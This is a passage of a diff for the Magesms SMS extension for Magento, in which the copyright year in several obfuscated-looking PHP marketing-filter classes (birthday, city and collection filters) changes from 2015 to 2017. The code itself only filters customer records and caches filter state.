(count($ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('dob', $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Birthday extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Date of birth from: '), 'type' => 'date', 'name' => 'birthday', 'color' => '#907523', 'glue' => ' / '.Mage::helper('magesms')->__('to: '), ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e = array(); $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69 = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0])) $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e[] = array('from' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]))); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69[] = array('to' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]))); } } if (count($i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('dob', $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e); if (count($ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('dob', $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Birthdayall.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Birthdayall extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Date of birth from: ').'('.Mage::helper('magesms')->__('All years').')', 'type' => 'birthdayall', 'name' => 'birthdayall', 'color' => '#907090', 'glue' => ' / ', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]) && !empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'at_dob.value LIKE \'____-'.sprintf('%02d', $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]).'-'.sprintf('%02d', $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]).' %\''; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('dob', array('notnull' => true)); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect()->where('('.implode(' OR ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e).')'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Birthdayall extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Date of birth from: ').'('.Mage::helper('magesms')->__('All years').')', 'type' => 'birthdayall', 'name' => 'birthdayall', 'color' => '#907090', 'glue' => ' / ', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]) && !empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = 'at_dob.value LIKE \'____-'.sprintf('%02d', $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]).'-'.sprintf('%02d', $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]).' %\''; } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('dob', array('notnull' => true)); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect()->where('('.implode(' OR ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e).')'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/City.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_City extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('City'), 'type' => 'input', 'name' => 'city', 'color' => '#ff8000', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('like' => '%'.$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('billing_city', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_City extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('City'), 'type' => 'input', 'name' => 'city', 'color' => '#ff8000', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array('like' => '%'.$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue().'%'); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('billing_city', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Collection extends Varien_Object { private $ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c; private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a; private $vb3aef862e6f33bb77b0548e126396581908637bb; public function __construct() { $this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c = new Varien_Data_Collection(); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = unserialize(Mage::app()->loadCache('magesms_marketing_filter')); if (empty($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) || !$this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a instanceof Varien_Object) { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = new Varien_Object(); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->setData(array( 'filters' => new Varien_Data_Collection(), 'customers' => new Varien_Object() )); } } public function setCollection($iff7e46827cbb6547116c592bf800f4687428abf9) { parent::setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); if (($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538bc1a1bf6d5c2813b31ab86ea82f7ca5e65de27a = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->getIds())) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('entity_id', array('nin' => $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538bc1a1bf6d5c2813b31ab86ea82f7ca5e65de27a)); } public function addFilter($i2bd9743336318d0e14be0600c9129730279505dd) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter_'.$i2bd9743336318d0e14be0600c9129730279505dd); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) $this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c->addItem($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); else Mage::log('Magesms: Do not load marketing filter: '.$i2bd9743336318d0e14be0600c9129730279505dd); return $this; } public function addFilters(array $ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c) { foreach($ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c as $i2bd9743336318d0e14be0600c9129730279505dd) $this->addFilter($i2bd9743336318d0e14be0600c9129730279505dd); } public function getFilters() { $i5528ed14b056e3debe4695094269de3a98f76fe7 = array('' => '- '.Mage::helper('magesms')->__('Please Select').' -'); foreach($this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $i5528ed14b056e3debe4695094269de3a98f76fe7[$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->filter['name']] = str_replace(':', '', $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->filter['title']); } return $i5528ed14b056e3debe4695094269de3a98f76fe7; } public function setFilters($iff7e46827cbb6547116c592bf800f4687428abf9) { foreach($this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if (method_exists($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a, 'getFilter')) $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $this->getCache()->getFilters()); } } public function getCache() { return isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) ? $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a : null; } public function getAppliedFilters() { if (!empty($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) && $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a instanceof Varien_Object) { return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters(); } } public function addApplyFilter($i2bd9743336318d0e14be0600c9129730279505dd, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter_'.$i2bd9743336318d0e14be0600c9129730279505dd); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setValue($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); $i092fed12249a415fe47769fa9b0bb17968e798c0 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValues(); if (!empty($i092fed12249a415fe47769fa9b0bb17968e798c0[0]) && is_array($i092fed12249a415fe47769fa9b0bb17968e798c0[0])) { foreach($i092fed12249a415fe47769fa9b0bb17968e798c0 as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa['value'] == $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setLabel($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa['label']); break; } } } elseif (is_array($i092fed12249a415fe47769fa9b0bb17968e798c0) && in_array($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89, array_keys($i092fed12249a415fe47769fa9b0bb17968e798c0))) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setLabel($i092fed12249a415fe47769fa9b0bb17968e798c0[$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89]); } $ia8418ed18227005524e0f3a24e89ce5b21e9b483 = false; foreach ($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters() as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) { if ($i705fa7c9639d497e1179d7d5691c212668a8c9c8 == $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $ia8418ed18227005524e0f3a24e89ce5b21e9b483 = true; break; } } if (!$ia8418ed18227005524e0f3a24e89ce5b21e9b483) { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters()->addItem($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } } else Mage::log('Magesms: Do not load marketing filter: '.$i2bd9743336318d0e14be0600c9129730279505dd); } public function removeFilter($i670253c23c6fcba76bc4256a88fdd8fbc1041039) { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters()->removeItemByKey($i670253c23c6fcba76bc4256a88fdd8fbc1041039); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } public function addRemoveCustomer($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { $iea1c44f6137731e1b13c494f784074e6a133577a = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->getIds(); if (!is_array($iea1c44f6137731e1b13c494f784074e6a133577a)) $iea1c44f6137731e1b13c494f784074e6a133577a = array(); if (in_array($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538, $iea1c44f6137731e1b13c494f784074e6a133577a)) $iea1c44f6137731e1b13c494f784074e6a133577a = array_diff($iea1c44f6137731e1b13c494f784074e6a133577a, array($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)); else $iea1c44f6137731e1b13c494f784074e6a133577a = array_merge($iea1c44f6137731e1b13c494f784074e6a133577a, array($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->setIds($iea1c44f6137731e1b13c494f784074e6a133577a); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } public function resetFilter() { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = new Varien_Object(); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->setData(array( 'filters' => new Varien_Data_Collection(), 'customers' => new Varien_Object() )); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } public function toSerialize() { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array('filters' => array(), 'customers' => array()); foreach($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters() as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['filters'][] = array('name' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->filter['name'], 'value' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getValue()); } $ia61712c27ea241bd7a543dc2b02ea572274d0322['customers'] = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->getIds(); return serialize($ia61712c27ea241bd7a543dc2b02ea572274d0322); } public function fromSerialize($ia61712c27ea241bd7a543dc2b02ea572274d0322) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = unserialize($ia61712c27ea241bd7a543dc2b02ea572274d0322); $this->resetFilter(); if (!empty($ia61712c27ea241bd7a543dc2b02ea572274d0322['filters'])) { foreach($ia61712c27ea241bd7a543dc2b02ea572274d0322['filters'] as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $this->addApplyFilter($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['name'], $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['value']); } } if (!empty($ia61712c27ea241bd7a543dc2b02ea572274d0322['customers']) && is_array($ia61712c27ea241bd7a543dc2b02ea572274d0322['customers'])) $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->setIds($ia61712c27ea241bd7a543dc2b02ea572274d0322['customers']); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } private function f403d2b0a9c44d21482a17bcb162aa54ccb79be64() { if (!empty($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a)) Mage::app()->saveCache(serialize($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a), 'magesms_marketing_filter'); } public function __destruct() { $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Collection extends Varien_Object { private $ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c; private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a; private $vb3aef862e6f33bb77b0548e126396581908637bb; public function __construct() { $this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c = new Varien_Data_Collection(); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = unserialize(Mage::app()->loadCache('magesms_marketing_filter')); if (empty($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) || !$this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a instanceof Varien_Object) { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = new Varien_Object(); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->setData(array( 'filters' => new Varien_Data_Collection(), 'customers' => new Varien_Object() )); } } public function setCollection($iff7e46827cbb6547116c592bf800f4687428abf9) { parent::setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); if (($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538bc1a1bf6d5c2813b31ab86ea82f7ca5e65de27a = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->getIds())) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('entity_id', array('nin' => $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538bc1a1bf6d5c2813b31ab86ea82f7ca5e65de27a)); } public function addFilter($i2bd9743336318d0e14be0600c9129730279505dd) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter_'.$i2bd9743336318d0e14be0600c9129730279505dd); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) $this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c->addItem($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); else Mage::log('Magesms: Do not load marketing filter: '.$i2bd9743336318d0e14be0600c9129730279505dd); return $this; } public function addFilters(array $ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c) { foreach($ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c as $i2bd9743336318d0e14be0600c9129730279505dd) $this->addFilter($i2bd9743336318d0e14be0600c9129730279505dd); } public function getFilters() { $i5528ed14b056e3debe4695094269de3a98f76fe7 = array('' => '- '.Mage::helper('magesms')->__('Please Select').' -'); foreach($this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $i5528ed14b056e3debe4695094269de3a98f76fe7[$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->filter['name']] = str_replace(':', '', $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->filter['title']); } return $i5528ed14b056e3debe4695094269de3a98f76fe7; } public function setFilters($iff7e46827cbb6547116c592bf800f4687428abf9) { foreach($this->ve713b4c10ff4c8425970eab3a4d765b3fe6fed6c as $i670253c23c6fcba76bc4256a88fdd8fbc1041039=>$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if (method_exists($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a, 'getFilter')) $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $this->getCache()->getFilters()); } } public function getCache() { return isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) ? $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a : null; } public function getAppliedFilters() { if (!empty($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) && $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a instanceof Varien_Object) { return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters(); } } public function addApplyFilter($i2bd9743336318d0e14be0600c9129730279505dd, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a = Mage::getModel('magesms/marketing_filter_'.$i2bd9743336318d0e14be0600c9129730279505dd); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setValue($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); $i092fed12249a415fe47769fa9b0bb17968e798c0 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValues(); if (!empty($i092fed12249a415fe47769fa9b0bb17968e798c0[0]) && is_array($i092fed12249a415fe47769fa9b0bb17968e798c0[0])) { foreach($i092fed12249a415fe47769fa9b0bb17968e798c0 as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa['value'] == $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setLabel($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa['label']); break; } } } elseif (is_array($i092fed12249a415fe47769fa9b0bb17968e798c0) && in_array($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89, array_keys($i092fed12249a415fe47769fa9b0bb17968e798c0))) { $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->setLabel($i092fed12249a415fe47769fa9b0bb17968e798c0[$if2eee0665f163a28f4adcfe84e3fc666bf1bcd89]); } $ia8418ed18227005524e0f3a24e89ce5b21e9b483 = false; foreach ($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters() as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) { if ($i705fa7c9639d497e1179d7d5691c212668a8c9c8 == $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $ia8418ed18227005524e0f3a24e89ce5b21e9b483 = true; break; } } if (!$ia8418ed18227005524e0f3a24e89ce5b21e9b483) { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters()->addItem($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } } else Mage::log('Magesms: Do not load marketing filter: '.$i2bd9743336318d0e14be0600c9129730279505dd); } public function removeFilter($i670253c23c6fcba76bc4256a88fdd8fbc1041039) { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters()->removeItemByKey($i670253c23c6fcba76bc4256a88fdd8fbc1041039); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } public function addRemoveCustomer($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) { $iea1c44f6137731e1b13c494f784074e6a133577a = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->getIds(); if (!is_array($iea1c44f6137731e1b13c494f784074e6a133577a)) $iea1c44f6137731e1b13c494f784074e6a133577a = array(); if (in_array($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538, $iea1c44f6137731e1b13c494f784074e6a133577a)) $iea1c44f6137731e1b13c494f784074e6a133577a = array_diff($iea1c44f6137731e1b13c494f784074e6a133577a, array($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)); else $iea1c44f6137731e1b13c494f784074e6a133577a = array_merge($iea1c44f6137731e1b13c494f784074e6a133577a, array($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->setIds($iea1c44f6137731e1b13c494f784074e6a133577a); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } public function resetFilter() { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = new Varien_Object(); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->setData(array( 'filters' => new Varien_Data_Collection(), 'customers' => new Varien_Object() )); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } public function toSerialize() { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array('filters' => array(), 'customers' => array()); foreach($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getFilters() as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) { $ia61712c27ea241bd7a543dc2b02ea572274d0322['filters'][] = array('name' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->filter['name'], 'value' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getValue()); } $ia61712c27ea241bd7a543dc2b02ea572274d0322['customers'] = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->getIds(); return serialize($ia61712c27ea241bd7a543dc2b02ea572274d0322); } public function fromSerialize($ia61712c27ea241bd7a543dc2b02ea572274d0322) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = unserialize($ia61712c27ea241bd7a543dc2b02ea572274d0322); $this->resetFilter(); if (!empty($ia61712c27ea241bd7a543dc2b02ea572274d0322['filters'])) { foreach($ia61712c27ea241bd7a543dc2b02ea572274d0322['filters'] as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $this->addApplyFilter($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['name'], $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a['value']); } } if (!empty($ia61712c27ea241bd7a543dc2b02ea572274d0322['customers']) && is_array($ia61712c27ea241bd7a543dc2b02ea572274d0322['customers'])) $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a->getCustomers()->setIds($ia61712c27ea241bd7a543dc2b02ea572274d0322['customers']); $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } private function f403d2b0a9c44d21482a17bcb162aa54ccb79be64() { if (!empty($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a)) Mage::app()->saveCache(serialize($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a), 'magesms_marketing_filter'); } public function __destruct() { $this->f403d2b0a9c44d21482a17bcb162aa54ccb79be64(); } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Country.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
